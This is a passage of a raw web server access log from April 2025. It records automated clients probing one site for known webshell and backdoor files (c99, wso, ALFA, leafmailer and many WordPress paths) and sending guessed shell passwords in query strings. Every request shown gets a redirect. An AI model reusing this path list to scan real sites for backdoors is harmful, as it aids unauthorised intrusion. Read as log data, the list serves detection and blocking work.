/hacked.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.237.82 - - [19/Apr/2025:17:16:30 -0400] "GET /c99.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.237.82 - - [19/Apr/2025:17:16:32 -0400] "GET /priv8.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.237.82 - - [19/Apr/2025:17:16:35 -0400] "GET /Navir.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.237.82 - - [19/Apr/2025:17:16:37 -0400] "GET /cmd13.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.237.82 - - [19/Apr/2025:17:16:41 -0400] "GET /inc20k1.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.237.82 - - [19/Apr/2025:17:16:43 -0400] "GET /1index.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.237.82 - - [19/Apr/2025:17:16:47 -0400] "GET /404.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.237.82 - - [19/Apr/2025:17:16:50 -0400] "GET /swm.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.237.82 - - [19/Apr/2025:17:16:53 -0400] "GET /wp.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.237.82 - - [19/Apr/2025:17:16:56 -0400] "GET /doc.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.237.82 - - [19/Apr/2025:17:16:58 -0400] "GET /shx.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.237.82 - - [19/Apr/2025:17:17:00 -0400] "GET /ws.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.237.82 - - [19/Apr/2025:17:17:02 -0400] "GET /m.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.237.82 - - [19/Apr/2025:17:17:04 -0400] "GET /edit-form.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.237.82 - - [19/Apr/2025:17:17:06 -0400] "GET /LEAF.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.237.82 - - [19/Apr/2025:17:17:08 -0400] "GET /leafmailer.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.237.82 - - [19/Apr/2025:17:17:10 -0400] "GET /mailer.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.237.82 - - [19/Apr/2025:17:17:12 -0400] "GET /leafmailer2.8.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.237.82 - - [19/Apr/2025:17:17:16 -0400] "GET /Leaf.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.237.82 - - [19/Apr/2025:17:17:18 -0400] "GET /leaf.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.237.82 - - [19/Apr/2025:17:17:21 -0400] "GET /x.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.237.82 - - [19/Apr/2025:17:17:22 -0400] "GET /srx.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.237.82 - - [19/Apr/2025:17:17:24 -0400] "GET /1337.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.237.82 - - [19/Apr/2025:17:17:27 -0400] "GET /xx.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.237.82 - - [19/Apr/2025:17:17:29 -0400] "GET /XxX.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.237.82 - - [19/Apr/2025:17:17:31 -0400] "GET /lf.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.237.82 - - [19/Apr/2025:17:17:33 -0400] "GET /alex.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.237.82 - - [19/Apr/2025:17:17:35 -0400] "GET /new.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.237.82 - - [19/Apr/2025:17:17:38 -0400] "GET /marijuana.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.237.82 - - [19/Apr/2025:17:17:40 -0400] "GET /gaza.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.237.82 - - [19/Apr/2025:17:17:43 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.237.82 - - [19/Apr/2025:17:17:45 -0400] "GET /3index.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.237.82 - - [19/Apr/2025:17:17:48 -0400] "GET /wikindex.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.237.82 - - [19/Apr/2025:17:17:50 -0400] "GET /wso1.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.237.82 - - [19/Apr/2025:17:17:52 -0400] "GET /bb.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.237.82 - - [19/Apr/2025:17:17:54 -0400] "GET /Lux.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.237.82 - - [19/Apr/2025:17:17:57 -0400] "GET /haxor.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 2602:fb54:9bb:: - - [19/Apr/2025:17:19:38 -0400] "GET /admin.php?520 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)" 51.222.253.16 - - [19/Apr/2025:17:33:41 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; AhrefsBot/7.0; +http://ahrefs.com/robot/)" 43.153.58.28 - - [19/Apr/2025:17:54:49 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 34.220.205.80 - - [19/Apr/2025:18:43:42 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36" 194.38.23.16 - - [19/Apr/2025:18:55:08 -0400] "GET /sites/all/libraries/elfinder/connectors/php/connector.php HTTP/1.1" 301 795 "-" "ALittle Client" 52.169.29.118 - - [19/Apr/2025:19:13:00 -0400] "GET /.alf.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:13:05 -0400] "GET /.tmb/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:13:09 -0400] "GET /.tmb/mariju.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:13:12 -0400] "GET /.tmb/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:13:14 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:13:15 -0400] "GET /.well-known//about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:13:17 -0400] "GET /.well-known/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:13:19 -0400] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:13:21 -0400] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:13:22 -0400] "GET /.well-known/acme-challenge//.info.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:13:23 -0400] "GET /.well-known/acme-challenge//muse.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:13:25 -0400] "GET /.well-known/acme-challenge//wp-protector.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:13:25 -0400] "GET /.well-known/acme-challenge/Llj.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:13:26 -0400] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:13:27 -0400] "GET /.well-known/acme-challenge/about.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:13:29 -0400] "GET /.well-known/acme-challenge/admiin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:13:30 -0400] "GET /.well-known/acme-challenge/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:13:31 -0400] "GET /.well-known/acme-challenge/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:13:32 -0400] "GET /.well-known/acme-challenge/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:13:33 -0400] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:13:35 -0400] "GET /.well-known/acme-challenge/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:13:36 -0400] "GET /.well-known/acme-challenge/install.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:13:36 -0400] "GET /.well-known/acme-challenge/makeasmtp.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:13:37 -0400] "GET /.well-known/acme-challenge/makeasmtp.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:13:38 -0400] "GET /.well-known/acme-challenge/radio.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:13:38 -0400] "GET /.well-known/acme-challenge/themes.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:13:39 -0400] "GET /.well-known/acme-challenge/x2.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:13:39 -0400] "GET /.well-known/acme-challenge/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:13:40 -0400] "GET /.well-known/acme-challenge/xp.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:13:40 -0400] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:13:41 -0400] "GET /.well-known/apap.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:13:42 -0400] "GET /.well-known/as.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:13:43 -0400] "GET /.well-known/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:13:43 -0400] "GET /.well-known/content.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:13:43 -0400] "GET /.well-known/fierzashell.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:13:44 -0400] "GET /.well-known/file.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:13:44 -0400] "GET /.well-known/fm.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:13:45 -0400] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:13:46 -0400] "GET /.well-known/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:13:47 -0400] "GET /.well-known/link.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:13:47 -0400] "GET /.well-known/lofmebwd.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:13:48 -0400] "GET /.well-known/lv.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:13:48 -0400] "GET /.well-known/pki-validation/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:13:49 -0400] "GET /.well-known/pki-validation//parx.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:13:50 -0400] "GET /.well-known/pki-validation/43e0da16-f4f8-4f0a-91d6-f41bf52aec3f.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:13:50 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:13:51 -0400] "GET /.well-known/pki-validation/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:13:51 -0400] "GET /.well-known/pki-validation/afnew.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:13:52 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:13:52 -0400] "GET /.well-known/pki-validation/cux.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:13:53 -0400] "GET /.well-known/pki-validation/doc.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:13:53 -0400] "GET /.well-known/pki-validation/dropdown.php?pass=yanz HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:13:54 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:13:54 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:13:55 -0400] "GET /.well-known/pki-validation/muse.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:13:56 -0400] "GET /.well-known/pki-validation/parx.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:13:56 -0400] "GET /.well-known/pki-validation/plugins.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:13:57 -0400] "GET /.well-known/pki-validation/pwnd.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:13:58 -0400] "GET /.well-known/pki-validation/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:13:58 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:13:59 -0400] "GET /.well-known/pki-validation/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:14:01 -0400] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:14:02 -0400] "GET /.well-known/s.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:14:03 -0400] "GET /.well-known/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:14:04 -0400] "GET /.well-known/ws.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:14:05 -0400] "GET /.well-known/wso112233.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:14:07 -0400] "GET /.well-knownold/wso112233.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:14:08 -0400] "GET /.wp-cli/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:14:09 -0400] "GET //.well-known/acme-challenge/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:14:10 -0400] "GET //.well-known/acme-challenge/install.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:14:10 -0400] "GET //.well-known/acme-challenge/my1.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:14:12 -0400] "GET //.well-known/acme-challenge/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:14:14 -0400] "GET //.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:14:16 -0400] "GET //.well-known/pki-validation/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:14:17 -0400] "GET //1.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:14:18 -0400] "GET //404.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:14:19 -0400] "GET //a.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:14:20 -0400] "GET //about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:14:21 -0400] "GET //about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:14:22 -0400] "GET //admin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:14:23 -0400] "GET //alfanew.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:14:24 -0400] "GET //alfanew.php7 HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:14:25 -0400] "GET //autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:14:27 -0400] "GET //bp.php?taf HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:14:28 -0400] "GET //cgi-bin/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:14:31 -0400] "GET //cgi-bin/my1.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:14:32 -0400] "GET //cgi-bin/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:14:36 -0400] "GET //chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:14:40 -0400] "GET //chosen.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:14:41 -0400] "GET //cjfuns.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:14:42 -0400] "GET //classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:14:44 -0400] "GET //cong.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:14:46 -0400] "GET //content.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:14:47 -0400] "GET //content.php?pass=dadsec HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:14:48 -0400] "GET //dropdown.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:14:50 -0400] "GET //ee.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:14:52 -0400] "GET //en/tinyfilemanager.html HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:14:53 -0400] "GET //file.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:14:54 -0400] "GET //file2.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:14:55 -0400] "GET //fm.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:14:57 -0400] "GET //gebase.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:14:58 -0400] "GET //index/function.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:15:00 -0400] "GET //info.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:15:04 -0400] "GET //item.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:15:08 -0400] "GET //jp.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:15:12 -0400] "GET //k.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:15:16 -0400] "GET //mah/function.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:15:24 -0400] "GET //mini.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:15:29 -0400] "GET //moon.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:15:34 -0400] "GET //radio.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:15:37 -0400] "GET //repeater.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:15:40 -0400] "GET //root.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:15:43 -0400] "GET //santiago-oriente56.degustamenu.com/wp-includes/hlVYmeOAvcd.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:15:45 -0400] "GET //shell.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:15:46 -0400] "GET //shell20211028.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:15:48 -0400] "GET //simple.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:15:49 -0400] "GET //test.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:15:50 -0400] "GET //user.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:15:51 -0400] "GET //wp-2019.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:15:51 -0400] "GET //wp-add-admin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:15:52 -0400] "GET //wp-admin/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:15:52 -0400] "GET //wp-admin/admin-ajax.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:15:53 -0400] "GET //wp-admin/class-db.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:15:53 -0400] "GET //wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:15:54 -0400] "GET //wp-admin/css/colors/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:15:55 -0400] "GET //wp-admin/css/colors/coffee/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:15:56 -0400] "GET //wp-admin/css/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:15:57 -0400] "GET //wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:15:58 -0400] "GET //wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:15:59 -0400] "GET //wp-admin/images/install.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:15:59 -0400] "GET //wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:00 -0400] "GET //wp-admin/includes/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:01 -0400] "GET //wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:02 -0400] "GET //wp-admin/js/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:03 -0400] "GET //wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:03 -0400] "GET //wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:04 -0400] "GET //wp-admin/maint/moon.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:04 -0400] "GET //wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:06 -0400] "GET //wp-admin/network/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:07 -0400] "GET //wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:09 -0400] "GET //wp-admin/network/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:10 -0400] "GET //wp-admin/shell20211028.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:10 -0400] "GET //wp-admin/user/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:10 -0400] "GET //wp-blog.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:11 -0400] "GET //wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:11 -0400] "GET //wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:12 -0400] "GET //wp-content/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:13 -0400] "GET //wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:14 -0400] "GET //wp-content/dropdown.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:15 -0400] "GET //wp-content/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:16:17 -0400] "GET //wp-content/index.php?pass=cfwk 